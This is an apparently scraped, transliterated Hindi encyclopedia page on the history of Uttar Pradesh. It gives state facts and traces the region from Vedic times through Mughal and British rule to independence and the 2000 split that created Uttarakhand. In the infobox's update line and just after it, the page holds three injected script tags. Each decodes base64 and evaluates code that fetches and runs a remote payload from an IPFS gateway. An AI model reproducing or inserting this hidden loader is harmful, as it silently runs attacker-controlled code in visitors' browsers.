उत्तर प्रदेश का इतिहास

uttar pradesh vishay soochi

uttar pradesh    itihas    bhoogol    yatayat    arthavyavastha    prashasan    kala    krishi    sanskriti    udyog    shiksha    paryatan

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uttar pradesh ka itihas
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rajadhani	lakhanoo
rajabhasha(ean)	hindi bhasha, urdoo bhasha
sthapana	12 janavari, 1950
janasankhya	19,95,81,477
· ghanatv	828 /varg kimi
kshetraphal	2,40,928 varg kimi
jalavayu	ushnadeshiy manasoon
tapaman	31 °C
· grishm	46 °C
· sharad	5°C
mandal	18
zile	75
sabase b da nagar	kanapur
mahanagar	kanapur
b de nagar	lakhanoo, ilahabad, agara, merath, varanasi, gaziyabad, kanapur
mukhy aitihasik sthal	varanasi, agara, ilahabad, kannauj, kushinagar, kaushambi, chitrakoot, jhaansi, faizabad, merath, mathura
mukhy paryatan sthal	mathura, vrindavan, agara, varanasi, ayodhya, chitrakoot, fatehapur sikari, saranath, shravasti, kushinagar
mukhy dharm-sampraday	hindoo, islam, eesaee, bauddh, jain evan any
liang anupat	1000:908 ♂/♀
saksharata	69.72%
· stri	59.26%
· purush	79.24%
uchch nyayalay	ilahabad
rajyapal	anandiben patel
mukhyamantri	yogi adityanath
upamukhyamantri	1. keshav prasad maury 2. dinesh sharma
vidhanasabha sadasy	404
vidhan parishad sadasy	100
lokasabha kshetr	80
rajyasabha sadasy	30
bahari k diyaan	adhikarik vebasait
adyatan‎	12:44, 7 joon 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar pradesh ka itihas bahut prachin hai. uttar pradesh ke itihas ko paanch kaloan mean baanta ja sakata hai-pragaitihasik evan pauranik kal (lagabhag 600 ee.poo. tak), bauddh-hindoo (brahman) kal (lagabhag 600 ee.poo. se lagabhag 1200 ee.), muslim kal (lagabhag 1200 se 1775 ee.), british kal (lagabhag 1775 se 1947 ee.), svatantrata pashchath ka kal (1947 se vartaman tak). ganga ke maidan ke bichoanbich ki apani sthiti ke karan uttar pradesh samooche uttari bharat ke itihas ka kendr bindu raha hai. uttar vaidik kal mean ise 'braharshi desh' ya 'madhy desh' ke nam se jana jata tha. uttar pradesh vaidik kal mean kee mahanh rrishi-muniyoan, jaise - bharadvaj, gautam, yajnavalky, vasishth, vishvamitr aur valmiki adi ki tapobhoomi raha hai. kee pavitr pustakoan ki rachana bhi yahian huee. bharat ke do mukhy mahakavy ramayan aur mahabharat ki katha bhi yahian ki hai.

eesa poorv chhathi shatabdi mean uttar pradesh mean do ne dharmoan - jain aur bauddh ka vikas hua. buddh ne apana pratham upadesh saranath mean diya aur bauddh dharm ki shuruat ki. uttar pradesh ke hi kushinagar mean unhoanne nirvan prapt kiya. uttar pradesh ke kee nagar jaise- ayodhya, prayag, varanasi aur mathura vidya adhyayan ke lie prasiddh keandr the. madhy kal mean uttar pradesh muslim shasakoan ke adhin ho gaya tha, jisase hindoo aur islam dharm ke pas ane se ek nee mili-juli sanskriti ka vikas hua. tulasidas, sooradas, ramanand aur unake muslim shishy kabir ke atirikt any kee sant purushoan ne hindi aur any bhashaoan ke vikas mean apana bahumooly yogadan diya.

uttar pradesh ka itihas lagabhag 4000 varsh purana hai, jab ary yahaan aye aur vaidik sabhyata ka arambh hua, tabhi se yahaan ka itihas milata hai. ary sindhu aur sataluj ke maidani bhagoan se yamuna aur ganga ke maidani bhag ki or badhe. inhoanne yamuna aur ganga ke maidani bhag aur ghaghara kshetr ko apana ghar banaya. inhian aryoan ke nam par bharat desh ka nam 'aryavart' athava 'bharatavarsh' (bharat aryoan ke ek chakravarti raja the, jinake nam aur khyati se yah desh bharatavarsh ke nam se jana gaya) p da.

pragaitihasik evan pauranik kal

puratattv ne uttar pradesh ki arambhik sabhyata par nee raushani dali hai. dakshini zile pratapagadh mean paee gee manav khop diyoan ke avashesh lagabhag 10,000 ee. poo. ke batae ge haian. vaidik sahity aur do mahakavyoan, ramayan v mahabharat se is kshetr ke satavian shatabdi ee. poo. ke pahale ki janakari milati hai. jisamean ganga ke maidanoan ka varnan uttar pradesh ke antargat kiya gaya hai. mahabharat ki prishthabhoomi rajy ke pashchimi hisse hastinapur ke asapas hai, jabaki ramayan ki prishthabhoomi poorvi uttar pradesh rajy mean bhagavan ram ka janmasthan ayodhya hai. rajy mean de any pauranik srot haian-vrindavan v mathura ke asapas ke kshetr jahaan krishna ka janm hua tha.

ramayan mean hinduoan ke bhagavan ram ka prachin rajy kaushal isi kshetr mean tha, ayodhya kaushal rajy ki rajadhani thi. hindoo dharm ke anusar bhagavan vishnu ke athavean avatar bhagavan krishna ka janm uttar pradesh ke mathura shahar mean hua tha. vishv ke prachinatam nagaroan mean se ek mana jane vala varanasi shahar bhi isi pradesh mean hai. varanasi ke samip saranath ka stoop bhagavan buddh ke lie prasiddh hai. samay ke sath sath yah vishal kshetr chhote-chhote rajyoan mean vibhajit ho gaya aur gupt, maury aur kushan samrajyoan ka bhag ban gaya. 7vian shatabdi mean kannauj gupt samrajy ka pramukh kendr ban gaya tha.

bauddh-hindoo (brahman) kal

satavian shatabdi ee. poo. ke ant se bharat aur uttar pradesh ka vyavasthit itihas arambh hota hai, jab uttari bharat mean 16 mahajanapad shreshthata ki dau d mean shamil the, inamean se sat vartaman uttar pradesh ki sima ke aantargat the. buddh ne apana pahala upadesh varanasi (banaras) ke nikat saranath mean diya aur ek aise dharm ki nianv rakhi, jo n keval bharat mean, balki chin v japan jaise sudoor deshoan tak bhi phaila. kaha jata hai ki, buddh ko kushinagar mean parinirvan (sharir se mukt hone par atma ki mukti) prapt hua tha, jo poorvi zile devariya mean sthit hai. paanchavian shatabdi ee. poo. se chhathi shatabdi ee. tak uttar pradesh apani vartaman sima se bahar kendrit shaktiyoan ke niyantran mean raha, pahale magadh, jo vartaman bihar rajy mean sthit tha, aur bad mean ujjain, jo vartaman madhy pradesh rajy mean sthit hai. is rajy par shasan kar chuke is kal ke mahanh shasakoan mean chandragupt pratham (shasanakal lagabhag 330-380 ee.) v ashok (shasanakal lagabhag 268 ya 265-238), jo maury samrat the aur samudragupt (lagabhag 330-380 ee.) aur chandragupt dvitiy haian (lagabhag 380-415 ee., jinhean kuchh vidvanh vikramadity manate haian). ek any prasiddh shasak harshavardhan (shasanakal 606-647) the. jinhoanne kanyakubj (adhunik kannauj ke nikat) sthit apani rajadhani se samooche uttar pradesh, bihar, madhy pradesh, panjab aur rajasthan ke kuchh hissoan par shasan kiya.

is kal ke dauran bauddh aur hindoo (brahman) sanskriti, donoan ka utkarsh hua. ashok ke shasanakal ke dauran bauddh kala ke sthapaty v vastushilp pratik apane charam par pahuanche. gupt kal (lagabhag 320-550) ke dauran hindoo kala ka bhi adhikatam vikas hua. lagabhag 647 ee. mean harsh ki mrityu ke bad hindoovad ke punarutthan ke sath hi bauddh dharm ka dhire-dhire patan ho gaya. is punarutthan ke pramukh rachayita dakshin bharat mean janme shankar the, jo varanasi pahuanche, unhoanne uttar pradesh ke maidanoan ki yatra ki aur himalay mean badrinath mean prasiddh mandir ki sthapana ki. ise hindoo matavalambi chautha evan antim math (hindoo sanskriti ka kendr) manate haian.

muslim kal

is kshetr mean halaanki 1000-1030 ee. tak musalamanoan ka agaman ho chuka tha, lekin uttari bharat mean 12vian shatabdi ke antim dashak ke bad hi muslim shasan sthapit hua, jab muhammad gori ne gah davaloan (jinaka uttar pradesh par shasan tha) aur any pratispardhi vanshoan ko haraya tha. lagabhag 600 varshoan tak adhikaansh bharat ki tarah uttar pradesh par bhi kisi n kisi muslim vansh ka shasan raha, jinaka kendr dilli ya usake asapas tha. 1526 ee. mean babar ne dilli ke sultan ibrahim lodi ko haraya aur sarvadhik saphal muslim vansh, mugal vansh ki nianv rakhi. is samrajy ne 200 varshoan se bhi adhik samay tak upamahadvip par shasan kiya. is samrajy ka mahanatam kal akabar (shasanakal 1556-1605 ee.) ka kal tha, jinhoanne agara ke pas nee shahi rajadhani fatehapur sikari ka nirman kiya. unake pote shahajahaan (shasanakal 1628-1658 ee.) ne agara mean tajamahal (apani begam ki yad mean banavaya gaya maqabara, jo prasav ke dauran chal basi thian) banavaya, jo vishv ke mahanatam vastu shilpiy namoonoan mean se ek hai. shahajahaan ne agara v dilli mean bhi vastushilp ki drishti se kee mahattvapoorn imaratean banavaeean thian.

uttar pradesh mean kendrit mugal samrajy ne ek nee mishrit sanskriti ke vikas ko protsahit kiya. akabar isake mahanatam pratipadak the, jinhoanne bina kisi bhedabhav ke apane darabar mean vastushilp, sahity, chitrakala aur sangit visheshajnoan ko niyukt kiya tha. hindutv aur islam ke takarav ne kee ne matoan ka vikas kiya, jo in donoan aur bharat ki vibhinn jatiyoan ke bich am sahamati qayam karana chahate the. bhakti andolan ke sansthapak ramanand (lagabhag 1400-1470 ee.), jinaka dava tha ki, mukti liang ya jati par ashrit nahian hai aur sabhi dharmoan ke bich anivary ekata ki shiksha dene vale kabir ne uttar pradesh mean maujood dharmik sahishnuta ke khilaf apani l daee kendrit ki. 18vian shatabdi mean mugaloan ke patan ke sath hi is mishrit sanskriti ka kendr dilli se lakhanoo chala gaya, jo avadh (audh, vartaman ayodhya) ke navab ke antargat tha aur jahaan sampradayik sadabhav ke mahaul mean kala, sahity, sangit aur kavy ka utkarsh hua.

british kal

lagabhag 75 varsh ki avadhi mean vartaman uttar pradesh ke kshetr ka eest indiya kampani (british vyaparik kampani) ne dhire-dhire adhigrahan kiya. vibhinn uttar bharatiy vanshoan 1775, 1798 aur 1801 mean navaboan, 1803 mean siandhiya aur 1816 mean gorakhoan se chhine ge pradeshoan ko pahale bangal prezidensi ke antargat rakha gaya, lekin 1833 mean inhean alag karake pashchimottar prant (arambh mean agara prezidensi kahalata tha) gathit kiya gaya. 1856 ee. mean kampani ne avadh par adhikar kar liya aur agara evan avadh sanyukt prant (vartaman uttar pradesh ki sima ke samaroop) ke nam se ise 1877 ee. mean pashchimottar prant mean mila liya gaya. 1902 ee. mean isaka nam badalakar sanyukt prant kar diya gaya.

1857-1859 ee. ke bich eest indiya kampani ke viruddh hua vidroh mukhyat: pashchimottar prant tak simit tha. 10 mee, 1857 ee. ko merath mean sainikoan ke bich bh daka vidroh kuchh hi mahinoan mean 25 se bhi adhik shaharoan mean phail gaya. 1858 ee. mean vidroh ke daman ke bad pashchimottar aur shesh british bharat ka prashasan eest indiya kampani se british taj ko hastantarit kar diya gaya. 1880 ee. ke uttarardh mean bharatiy rashtravad ke uday ke sath sanyukt prant svatantrata andolan mean agrani raha. pradesh ne bharat ko motilal neharoo, madan mohan malaviy, javaharalal neharoo aur purushottamadas tandan jaise mahattvapoorn rashtravadi rajanitik neta die. 1922 mean bharat mean british samrajy ki nianv hilane ke lie kiya gaya mahatma gaandhi ka asahayog andolan poore sanyukt prant mean phail gaya, lekin chauri chaura gaanv (prant ke poorvi bhag mean) mean huee hiansa ke karan mahatma gaandhi ne asthayi taurar par andolan ko rok diya. sanyukt prant muslim lig ki rajaniti ka bhi kendr raha. british kal ke dauran relave, nahar aur prant ke bhitar hi sanchar ke sadhanoan ka vyapak vikas hua. aangrezoan ne yahaan adhunik shiksha ko bhi badhava diya aur yahaan par lakhanoo vishvavidyalay (1921 mean sthapit) jaise vishvavidyalay v kee mahavidyalay sthapit kie.

svatantrata ke pashchath ka kal

1947 mean sanyukt prant nav svatantr bharatiy ganarajy ki ek prashasanik ikaee bana. do sal bad isaki sima ke antargat sthit, tihari gadhaval aur ramapur ke svayatt rajyoan ko sanyukt prant mean shamil kar liya gaya. 1950 mean ne sanvidhan ke lagoo hone ke sath hi sanyukt prant ka nam uttar pradesh rakha gaya aur yah bharatiy sangh ka rajy bana. svatantrata ke bad se bharat mean is rajy ki pramukh bhoomika rahi hai. isane desh ko javahar lal neharoo aur unaki putri iandira gaandhi sahit kee pradhanamantri, soshalist parti ke sansthapak achary narendr dev, jaise pramukh rashtriy vipakshi (alpasankhyak) daloan ke neta aur bharatiy janasangh, bad mean bharatiy janata parti v pradhanamantri atal bihari vajapeyi jaise neta die haian. rajy ki rajaniti, halaanki vibhajanakari rahi hai aur kam hi mukhyamantriyoan ne paanch varsh ki avadhi poori ki hai.

rajy ka vibhajan

uttar pradesh ke gathan ke turant bad uttarakhand kshetr (gadhaval aur kumaooan kshetr dvara nirmit) mean samasyaean uth kh di hueean. is kshetr ke logoan ko laga ki, vishal janasankhya aur vrihad bhaugolik vistar ke karan lakhanoo mean baithi sarakar ke lie unake hitoan ki dekharekh karana sambhav nahian hai. berozagari, gariboan aur samany vyavastha v pine ke pani jaisi adharabhoot suvidhaoan ki kami aur kshetr ke apekshakrit kam vikas ne logoan ko ek alag rajy ki maang karane par vivash kar diya. shuroo-shuroo mean virodh kamazor tha, lekin 1990 ke dashak mean isane zor pak da v andolan tab aur bhi ugr ho gaya, jab 2 aktoobar 1994 ko muzaffaranagar mean is andolan ke ek pradarshan mean pulis dvara ki gee golibari mean 40 log mare ge. antat: navambar, 2000 mean uttar pradesh ke pashchimottar hisse se uttaraanchal ke ne rajy ka, jisamean kumaooan aur gadhaval ke paha di kshetr shamil the, gathan kiya gaya.

pratham svatantrata sangram mean uttar pradesh ka yogadan

1. REDIRECTsaancha:mukhy

san 1857 mean aangrezi fauj ke bharatiy sipahiyoan ne bagavat kar di thi. yah bagavat lagabhag ek varsh tak chali aur dhire dhire yah bagavat poore uttar bharat mean fail gayi. isi bagavat ko bharat ka pratham svatantrata sangram nam diya gaya. yah bagavat merath shahar se shuroo huee. jisaka karan aangrezoan dvara gay aur suar ki charbi se bane karatoos the. is bagavat ki vazah l aaurd dalahauzi ki rajy h dapane ki niti bhi thi. yah sangram mukhyatah dilli, lakhanoo, kanapur, jhaansi aur bareli mean l da gaya. is sangram mean jhaansi ki rani lakshmibaee, avadh ki begam hazarat mahal, bakht khan, nana saheb, tatya tope adi anek deshabhaktoan ne bhag liya. [[chitr:Ganga-River-Aarti.jpg|thumb|250px|arati, ganga nadi, ilahabad
Aarti, Ganga River, Allahabad]] uttar pradesh rajy ki bauddhik shreshthata british shasan kal mean bhi bani rahi. sanh 1902 mean 'narth vest provins' ka nam badal kar 'yoonaitid provins aauph agara end avadh' kar diya gaya. sadharan bolachal ki bhasha mean ise 'yoo. pi.' kaha gaya. sanh 1920 mean pradesh ki rajadhani ko ilahabad ke sthan par lakhanoo bana diya gaya. pradesh ka uchch nyayalay ilahabad mean hi bana raha aur lakhanoo mean uchch nyayalay ki ek nyayapith shakha (haeekort baianch) sthapit ki gayi. bad mean 1935 mean isaka sankshipt nam 'sanyukt praant' prachalit ho gaya. svatantrata prapti ke bad 12 janavari 1950 mean 'sanyukt praant' ka nam badal kar ‘uttar pradesh’ rakha gaya. goviand ballabh pant is pradesh ke pratham mukhy mantri bane. aktoobar 1963 mean sucheta kripalani uttar pradesh aur bharat ki 'pratham mahila mukhyamantri' banian.

san 2000 mean bharatiy sansad ne uttar-pradesh ke uttar pashchimi, poorvottar uttar pradesh ke mukhyatah paha di bhag gadhaval aur kumaooan mandal ko mila kar uttar pradesh ko vibhajit kar uttaraanchal rajy ka nirman kiya, jisaka nam bad mean badal kar uttarakhand kar diya gaya hai. uttar pradesh ki adhikaansh jhilean kumaooan kshetr mean haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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